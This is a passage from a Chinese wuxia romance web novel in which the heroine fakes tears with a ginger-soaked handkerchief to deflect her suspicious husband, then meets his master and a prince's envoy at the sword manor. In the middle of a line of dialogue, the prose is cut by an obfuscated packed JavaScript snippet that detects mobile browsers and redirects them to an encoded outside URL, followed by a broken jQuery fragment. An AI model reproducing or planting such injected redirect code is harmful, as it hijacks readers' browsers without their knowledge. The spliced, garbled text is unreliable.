“我这几日会调息压制,只要速战速决,两个月并无妨。”海棠花染红指尖,季之亦轻声道:“此次出行危险重重,夫人不曾练过武,也无内力,还是留在家中吧。”
山岚拎着手炉走近,池缨晚见缝插针地献殷勤,“冻坏了吧,暖暖手。”帮他整理貂裘时又笑眯眯地争取,“路上有危险的话我会自己躲起来,绝不给你添麻烦。”
“你也知道,三妹妹不喜欢我,连着你那其他几个堂兄弟,姊妹都不待见我。你走了,我说不定还要独自面对不知从哪冒出来的蛇…”
本来只是找理由让他带上自己,说着说着她还真有点害怕,两个月的等待期,可不能嘎在季之惠和燕俞宁这对母女俩手里。
虽然原身从小练武,但为了蛰伏在剑庄,进剑庄前特意服药压制隐藏。
其实就算不服药也无用,她空有记忆,压根使不出一招半式,肌肉本能的反应也只是像前两日那样,下腰躲避致命攻击,支撑不了多久就塌了。
“夫人是母亲亲自选的人,应是喜爱至极才对,可你们怎么这般势同水火。”季之亦微微侧首看他,阳光下的褐色眸子似水中琉璃,水亮清透,“是什么原因呢?”
这个人疑心真的很重,每天病殃殃的却总想打探她底细,问题又多又刁钻。
“你要知道,一个女人长得好看,是很容易被排斥的…”池缨晚张口胡诌,也不管对面的人表情有多微妙。
反正她已经想清楚了,造作胆小,手无缚鸡之力还心思敏感的人设,比聪明体贴还胆大心细的人设要方便行事很多。
一个废物作精,一个可塑之才,第一个会被怀疑的永远是后者。
池缨晚再次捏起小手帕,“当初爹死了以后,我们娘俩在村里生活,每次出门我都要把脸抹黑才行,不然过两天指不定会传出什么难听话。”
季之亦迟迟不语,看着她的脸好一会才挤出一句,“夫人的意思是,母亲和三妹妹因为嫉妒你的…美貌,才会如此?”
“难道不是吗?”池缨晚摸着自己的脸颊,羞赧的眨了眨眼,“不然以我的身份,怎么会被选中嫁给夫君呢。”
静默片刻,季之亦轻咳一声,默默将手收回到貂裘中,“难道不是因为八字?”
池缨晚立刻变了表情,眼尾下耷,幽幽道:“夫君这话是什么意思?觉得我长得不好看?还是觉得我是为了名利才愿意嫁与你冲喜?”
“我并非此意,只是奇怪…”
池缨晚不等他说完,‘腾’地一下站起身,自上而下的看着他,语气也变得盛气凌人起来,“我懂了,原来在夫君心中我居然是个唯利是图的丑女人。”
下一瞬表情骤变,眼角有水光闪现,池缨晚撇了撇嘴,委屈状抬袖遮面,抽泣道,“横竖你们是一家人,我是个外人,所以不管受了什么委屈都是应该的。”
“三妹妹欺负我,为了你,我可以不计较,可母亲为难我,夫君也要来指责,寻我的麻烦吗?”
她哭着哭着,猛然将手摔下,露出一张沾满泪水的脸,眼睛通红还在大颗大颗的冒泪珠,“我怎么知道母亲为何不喜我,不如夫君去问问她吧,我反正好相处的很。”
一嗓子嚎完,问题也重新踢回去。
池缨晚转身小跑回房间,一把将门关上,也把身后跟着的山岚关在了外面。
季之亦还保持着刚才的坐姿,纹丝未动,只是眼神中露出几分疑惑。
他好像…只问了一句话吧?
风轻轻拂过,海棠花簌簌落下,季之亦抬眸看向正房,恰好对上山岚略带些责怪的眼神,好像他真的犯了什么错。
然后…山岚走到回廊拐角处,狠狠地剜了他一眼,一溜烟跑没影了。
季之亦:……
赤霄突然从天而降,落地时脚下一丝声音都未发出,“主子,少夫人这几日跟徐夫人之间相处和谈话并无不妥。徐夫人每晚都笑到子时才睡,澜绛…”
“澜绛潜入时她也没有反应,带的行李全是半旧的粗麻衣,没有内力,手上虽有茧但应是劳力所致。”
“知道了。”季之亦站起身,将手炉随手放置在石桌上,“让澜绛回来吧。”
“是。”赤霄跟在他身后,“此次出庄,澜绛也想一起。”
“让她跟着少夫人,是明处是暗处,让她自己看着办。”季之亦推开书房门,“只一点,不能让少夫人知道她是我的人。”
此刻房内。
池缨晚伏在水盆上,额发被水打湿,水珠顺着脸颊滴落,口中不住地小声痛呼:“嘶,嘶…辣辣辣…好辣…”
这生姜威力也太大了。
洗完脸后她半瘫在榻上,眼圈还红着,从袖中扯出一块手帕在眼前晃了两下,嘿嘿一笑又重新收回去。
还好吸取上次听云院的教训,时刻准备着催泪神器,被生姜汁泡了一个小角的手帕,即擦即哭,特别好用。
刚才胡闹一通,也不知道能不能打消他的一半疑心,但是好歹算是过了当前紧要一关,起码不会被当成燕俞宁的人。
只是跟着季之亦一起出发这件事还要再想办法才行。
没等她想出办法,第二日一早天刚蒙蒙亮,山岚就进房将她拉了起来。
“少夫人,快起来梳妆,阳拳宗和灵蛇谷来人了,庄主让您和少庄主去凌霄堂待客。”
池缨晚双眼惺忪,打了个哈欠道:“你确定,我也去?”
“对。”山岚边湿帕子边说,“昨日少庄主特意让赤霄在出发的名录上加了您的名字,阳拳宗和灵蛇谷就是来商议事的,您和少庄主是咱们名剑山庄的带队人,肯定都要在。”
“加我名字了?!”池缨晚瞬间清醒,接过帕子用力擦了擦眼睛,“让我去?真的假的,我怎么不知道。”
山岚拉她到衣柜前,笑道,“当然是真的,不然我怎么敢胡说。”
意外之喜啊!!季之亦果然还是很好说话的,不像燕俞宁那么变态,更不像影阁那么功利没人性。
“快快快,搞快点。”池缨晚仿佛被打了鸡血,拿起衣服就往身上套。
刚要出门,突然想到什么,“不知道要忙到什么时候,我先去母亲那交代两句,免得她到处乱走,冲撞了客人。”
说完急匆匆的朝着徐赛兰院子跑。
有客来访,正是把原身藏在厨房的那些瓶瓶罐罐偷来的好时机。
人选嘛,自然是她这位贪财的好‘母亲’。
片刻功夫,池缨晚就用两支金簪完成交易,然后又着急忙慌地赶去凌霄堂。
半路突然下起雨,兜头浇了一身,潮湿的衣服黏在皮肤上,这种不舒服的感觉一直持续到她走到凌霄堂。
季之亦站在凌霄堂院门前,脸色比之前要好上许多,身上只穿了一件元青色薄衫。
“怎么不进去?”池缨晚兴冲冲地跑到他跟前。
轻飘飘一句话却引出平底惊雷的效果,数道视线从院内齐刷刷一齐投到她身上,池缨晚顿时只觉如芒刺背,不对,刺面!
顺着季之亦的目光看去,只见堂前空地上黑压压两列身着军中薄甲的队伍。
立在最前面的男子头戴玉冠,身着湛蓝色锦服,身后跟着一个灰袍中年男人,帮他举伞遮雨。
再往上,堂前台阶上站着四个人越过一众人头远远瞧着他们。
“他们是谁啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319799|167428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”池缨晚往季之亦身后避了避,名剑山庄怎么跟朝廷的人还有关系?
季之亦没吭声,目光沉沉不见一丝波澜,缓步进了院子,在众人的视线中一直走到灰袍男人跟前。
躬身行礼,语气平淡:“师父。”
这可把跟在她身后的池缨晚惊着了,季之亦的师父,那肯定很厉害,但…怎么会是朝廷中人?而且地位好像也不高啊。
她拉了拉山岚的袖子,凑过去极其小声地问道,“这是哪个师父啊?”
山岚茫然地摇了摇头,她进山庄没几年,那时少庄主早就不用师父,自行练剑了,她也就没见过。
好在季之亦是个靠谱的,侧身介绍起来,“我夫人,池缨晚。”停顿片刻,待两人视线对上后,再道:“剑客简敬行,无门无派,你与我一样唤师傅。”
“见过师傅。”池缨晚忙正了正表情,与他并排而站。
“嗯。”简敬行的视线只是略略扫过她,几不可见的点了下头。转而介绍起他跟前的锦服男子,“摄政王府的二爷,明煦郡王炎承桦,我新收的弟子。”
简敬行人如其名,长相大众,声线平平,属于丢到人堆里都不会引人注意的那种简单类型,身上更没有剑客应有的气质。
就连腰上挂的剑也普普通通,剑柄裹着灰扑扑的旧布条,透着一股粗质感。
池缨晚回忆了一下,早上山岚说剑庄来客要接待,其中并没有他们吧。
下一刻,季之亦就帮她确定,她没记错,“不知明熙郡王前来所为何事?名剑山庄与摄政王府似乎并无交情。”
直白的让众人侧目。
台阶上兀地发出一声嗤笑,在寂静的院子里格外刺耳。炎承桦嘴角刚扬起的客套弧度僵在脸上。
发出声音的是一名穿着暗褐色粗布短打的男子,虎背熊腰,手腕上绑着黑色护腕,露出的臂膊青筋贲张若老树盘根。
炎承桦看向他的眼神带着几分凌厉。
男子粗声粗气道:“看什么,笑一声不行啊!我们江湖人说话做事就是这么直接,就算是大名鼎鼎的剑君子也是如此。”
炎承桦没说话,一旁的简敬行眼角下压,沉声斥道:“柳随风!不得无礼。”
这大汉叫柳随风?
池缨晚微微挑眉,怎么都没办法把这名字跟人对上。
“柳兄说得对!师父切勿怪罪,少庄主是我师兄,自家师兄弟之间更不用顾忌。”炎承桦这才彻底扬起矜贵的笑,没错就是矜贵。
池缨晚非常熟悉这种,瞧不上却又要礼貌微笑的表情和眼神,因为她每次要面对把说教当追求的学生会主席时,就是这个样子。
“我之所以不请自来,原因也与影阁相关。”炎承桦叹了口气,“只是此事事关重大,师兄能否移步细谈?”
“既然是跟影阁相关,那阳拳宗的随风兄和灵蛇谷的子华兄就不是外人,还是堂前共议吧。”季之亦表情纹丝未变,让人听不出他到底是故意还是当真耿直如此。
“嗯——!”炎承桦深吸一口气,勉强维持笑容,点头应道:“是我多虑了,既然都是师兄信得过的人,那我自然可以如实告知。”
众人在正厅落座,池缨晚挨着季之亦坐得端正,表情淡漠,瞧着颇有些冷艳美人的意思。
“师兄。”炎承桦说话时视线从池缨晚扫过,对上季之亦,“我们此次来得匆忙,还望师兄等会帮我跟季庄主多表歉意。”
柳随风爽朗一挥手,怼人不自知,“季庄主最是豁达公正,岂会因此小事怪罪,而且季庄主从不与朝廷来往,怎么小郡王来之前不知道吗?”
这话说得不轻不重,炎承桦却变了脸色。